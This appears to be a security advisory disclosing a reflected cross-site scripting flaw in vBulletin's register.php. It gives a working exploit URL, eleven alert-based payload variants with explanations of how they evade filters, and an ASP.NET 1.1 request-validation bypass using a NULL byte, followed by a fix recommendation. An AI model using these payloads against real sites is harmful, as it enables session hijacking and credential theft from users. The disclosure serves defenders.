Client side execution of malicious scripts (cross-site scripting)





Test Impact

Customer session and cookies may be compromised. The attacker may be able to pose as a legitimate user to view and alter user records, and perform transactions as that user.  From the polarised perspective, a user may only be able to effect a simple Cross Site Script.



Affected Products

Jelsoft VBulletin



About VBulletin

VBulletin is a powerful, scalable and fully customisable forums package for your web site. Based on the PHP language, backed with a blisteringly fast MySQL back-end database, vBulletin is the ideal community solution for all medium-to-large sites.



Actual exploit



>From http://iwww.domain.tld/forum/register.php? The user should navigate to http://www.domain.tld/forum/register.php by selecting the checkbox and register button.  The user may add what ever session specific information is available, in the case of the test I added the following:

http://www.domain.tld/forum/register.php?s=60b7ac47d0eba9853b6e36a3b18924bc&s=&do=register&url=AK%22%20style%3D%22background:url(javascript:alert(%27XSS%20Vulnerable%20To%20Cross%20Site%20Scripting%27))%22%20OS%22&month=0&day=0&year=0&who=adult&agree=1



Test Technical Description

There are three parties involved in this attack:

[1] - Is an attacker who may know the identity of "B", and the structure of site "C".

[2] - Is the victim user (of web-site "C").

[3] - Is the vulnerable web-site.



The attack may become an issue where privacy is concerned. The attacker (A) gains the victim user (B)'s credentials at the vulnerable site (C). When the site involved is vulnerable, it is possible to steal credentials from its users. It is not possible to gain information regarding other sites, so (C)'s vulnerability affects only (C)'s customers.



The attack hinges on the fact that the web site (C) contains a script that returns user's input (usually a parameter value) in an HTML page without first sanitising the input. This allows an input consisting of JavaScript code to be executed by the browser when the script returns this input in the response page. As a result it is possible to form links to the site (C) where one of the parameters consists of malicious JavaScript code. This code will be executed (by (B)'s browser) in (C) site context, granting it access to cookies (B) has for site (C), and other windows in site (C) at browser (B).

The attack proceeds as following: The attacker (A) lures the legitimate user (B) to click on a link that was produced by the attacker. When the user clicks on the link, this generates a request to the web-site (C) containing a parameter value with malicious JavaScript code. If the web-site (C) embeds this parameter value into the response HTML page (this is the essence of the site vulnerability), the malicious code will run in the user's browser (B).



Possible actions that can be performed by the script are:

[1] Sending the attacker the user cookies for the legitimate site

[2] Sending the attacker the current URLs of the legitimate site in which the user has an open window

This information is sent to the attacker (A), and thus the victim user "C"'s security (privacy) is compromised.



Some notes:

[1] Although the attacked web site (C) is involved, it is not compromised directly. It is used as a 'jump station' for the malicious script (sent by the attacker) to return to the victim's browser (B) as if it is legitimate. However, since the privacy of the victim (B) is breached in the context of site (C), and since site (C) is directly responsible, it is considered a security flaw in site (C) (much like a weak session token would have been).

[2] The malicious link can be provided by user (A) using a web site link (given that user (A) maintains a site that is visited by (B)), or - via email (given that user (A) knows user (B)'s email address, and user (B)'s email client uses the browser to render the HTML message).

[3] While user input is most commonly found in form field values (i.e. URL parameters), there are known attacks where the malicious code is embedded in the path, or in the HTTP Referer headers, and even in cookies.



There are two possible scenarios when sending input to a CGI script that is vulnerable to cross-site scripting: 

[A] The parameter value sent to the CGI script is returned in the response page, embedded in the HTML. For example:



[request]

GET /cgi-bin/script.pl?name=USERNAME HTTP/1.0



[response]

HTTP/1.1 200 OK

Server: DOMAIN

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 27



<HTML>

Hello USERNAME

</HTML>



[B] The parameter value sent to the CGI script is returned in HTML parameter value context. For example:



[request]

GET /cgi-bin/script.pl?name=USERNAME HTTP/1.0



[response]

HTTP/1.1 200 OK

Server: DOMAIN

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 254



<HTML>

Please fill in other data:

 <FORM METHOD=GET ACTION="/cgi-bin/script.pl">

  <INPUT TYPE=text NAME="name" value="USERNAME"> <br>

  <INPUT TYPE=text NAME="other data"  value="Enter other data here"> <br>

  <INPUT TYPE=submit value="Submit">

 </FORM>

</HTML>



Example 1 - scenario A: the following request is sent by the user



[attack request]

GET /cgi-bin/script.pl?name=>"'>&lt;script&gt;alert(XSS%20Vulnerable%20To%20Cross%20Site%20Scripting')&lt;/script&gt; HTTP/1.0



[attack response scenario A]

HTTP/1.1 200 OK

Server: Domain

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 83



<HTML>

Hello >"'>&lt;script&gt;alert('XSS Vulnerable To Cross Site Scripting')&lt;/script&gt;

</HTML>





In this case, the JavaScript code, will be executed by the browser (The >"'> part is irrelevant here).



Example2 - scenario B: (using the same script and input displayed in example 1 to invoke the attack)



[attack response scenario B]

HTTP/1.1 200 OK

Server: Domain

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 310



<HTML>

Please fill in other data:

 <FORM METHOD=GET ACTION="/cgi-bin/script.pl">

  <INPUT TYPE=text NAME="name" value=">"'>&lt;script&gt;alert('XSS Vulnerable To Cross Site Scripting')&lt;/script&gt;"> <br>

  <INPUT TYPE=text NAME="other data"  value="Enter other data here"> <br>

  <INPUT TYPE=submit value="Submit">

 </FORM>

</HTML>



The >"'> prefix is used to 'break out' of the parameter value context. Closing the parameter value field ( "'> ) and then closing the <INPUT> tag ( > ) will cause the JavaScript to be executed by the browser, and not to be treated as a parameter value (that will not be parsed/executed as JavaScript code).



Listed below are the different variants performed:



[1] >'>&lt;script&gt;alert(‘XSS Vulnerable To Cross Site Scripting’)&lt;/script&gt;

[2] >">&lt;script&gt;alert(‘XSS Vulnerable To Cross Site Scripting’)&lt;/script&gt;

[3] </TextArea>&lt;script&gt;alert(‘XSS Vulnerable To Cross Site Scripting’)&lt;/script&gt;

[4] >"'><img src="javascript:alert(‘XSS Vulnerable To Cross Site Scripting’)">

[5] >"'><img src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(&quot;XSS&#x20;-&#x20;Vulnerable&#x20;TO&#x20;Cross&#x20;Site&#x20;Scripting&quot;)>

[6] AK" style="background:url(javascript:alert(‘XSS Vulnerable To Cross Site Scripting’))" OS"

[7] -->&lt;script&gt;alert(‘XSS Vulnerable To Cross Site Scripting’)&lt;/script&gt;

[8] '+alert(‘XSS Vulnerable To Cross Site Scripting’)+'

[9] "+alert(‘XSS Vulnerable To Cross Site Scripting’)+"

[10] >'><%00script>alert(‘XSS Vulnerable To Cross Site Scripting’)&lt;/script&gt;   (.NET 1.1 specific variant)

[11] >"><%00script>alert(‘XSS Vulnerable To Cross Site Scripting’)&lt;/script&gt;   (.NET 1.1 specific variant)



Variant details:



Variant [1] & [2]: These are the most basic cross-site scripting variants. The difference between the two variants is the use of quotes/apostrophe in the JavaScript code. Web application programmers only sanitise user input for apostrophe or quotes but not both.



Variant [3]: This variant is specifically designed for cases where user input is returned embedded in <TEXTAREA> parameters. Note: I have tried to 'break out' of the parameter value (text area), in order to force the JavaScript to be executed by the browser.



Variant [4]: Some web application programmers sanitise &lt;SCRIPT&gt; tags from user input, but forget to sanitise the "javascript:" specifier, which can be used in HTML links. In this variant, I have tried to embed the malicious JavaScript code by using an <img> tag with a JavaScript link as its source.



Variant [5]: This variant is very similar to variant #4. It uses HTML entities, in order to bypass security measures which sanitise user input of the <, >, quotes and the "javascript:" specifier. 



Variant [6]: This variant uses the least number of non-standard characters. Unlike former variants, it does not use &, >, < , # or ; characters. Assuming that the user input is embedded in HTML form parameter value (inside an <INPUT> tag), the malicious string first escapes from parameter value context and then proceeds to add a STYLE attribute to the <INPUT> tag, in which it embeds the malicious JavaScript code. Note: this variant will only work properly in scenario B.



Variant [7]: Some web applications embed user input inside HTML comments. For those specific cases, I have closed the HTML comment ( --> ), and then embeds the malicious JavaScript code.



Variant [8], [9]: Some web applications embed user input in JavaScript string literals, for example:



<HTML>

 &lt;SCRIPT LANGUAGE="JavaScript">

  var str = 'Hello $user_input';

  ...

 &lt;/SCRIPT&gt;

</HTML>

  

If we send the following parameter value: '+alert(‘XSS Vulnerable To Cross Site Scripting’)+', the resulting response page will look like this:

<HTML>

 &lt;SCRIPT LANGUAGE="JavaScript">

  var str = 'Hello ' + alert(‘XSS Vulnerable To Cross Site Scripting’) + '';

  ...

 &lt;/SCRIPT&gt;

</HTML>



The application is 'tricked' to concatenate the malicious JavaScript code in the middle of the original string literal, this will cause the browser to execute our JavaScript code. The difference between variant #8 and #9 is the use of quotes/apostrophe, which customise the attack for both string-terminating characters.



Variant [10], [11]: In Microsoft .NET 1.1, the HttpRequest.ValidateInput method validates data submitted by a client browser and raises an exception if potentially dangerous data is present. 



>From MSDN: "If the validation feature is enabled by page directive or configuration, this method is called during the Page's ProcessRequest processing phase. ValidateInput can be called by your code if the validation feature is not enabled. Request validation works by checking all input data against a hard-coded list of potentially dangerous data."



Input data is checked during request validation in the following members: 

- HttpRequest.Form, 

- HttpRequest.QueryString, 

- HttpRequest.Cookies 



** Note: The HttpRequest.ValidateInput is enabled by default in ASP.NET 1.1



ASP.NET 1.1 blocks input containing '<' followed by an alphanumeric character or an exclamation mark (e.g. &lt;script&gt; , <img, <!--, etc...)  If the '<' character is followed first by a NULL byte and only then by an alphanumeric character, the pattern doees not match and the input is allowed to reach the web application. For example:



[*] The string '&lt;script&gt;' is blocked by ASP.NET 1.1

[*] The string '<\0script>' is allowed by ASP.NET 1.1 (The NULL byte can also be sent URLEncoded, %00).



This by itself, this is only one half the problem. It seems that the HTML parser of most web browsers (including Microsoft Internet Explorer - all versions), ignores the NULL byte, and parses <\0script> as &lt;script&gt;, when combining this with the security problem presented above - Any HTML tag can be injected through ASP.NET 1.1 HttpRequest.ValidateInput security mechanism, leaving it vulnerable to cross site scripting, and injection of other malicious HTML tags.





Fix Recommendation

Sanitise user input and filter JavaScript code. We suggest that you filter the following characters: < > " ' % ; ) ( & +



Vendor Notification

Yes



References And Relevant Links

CERT Advisory CA-2000-02

     http://www.cert.org/advisories/CA-2000-02.html



Microsoft HOWTO: Prevent Cross-Site Scripting Security Issues (Q252985)

     http://support.microsoft.com/default.aspx?scid=kb;EN-US;q252985



Microsoft Technet "Cross-site Scripting Overview"

     http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/csoverv.asp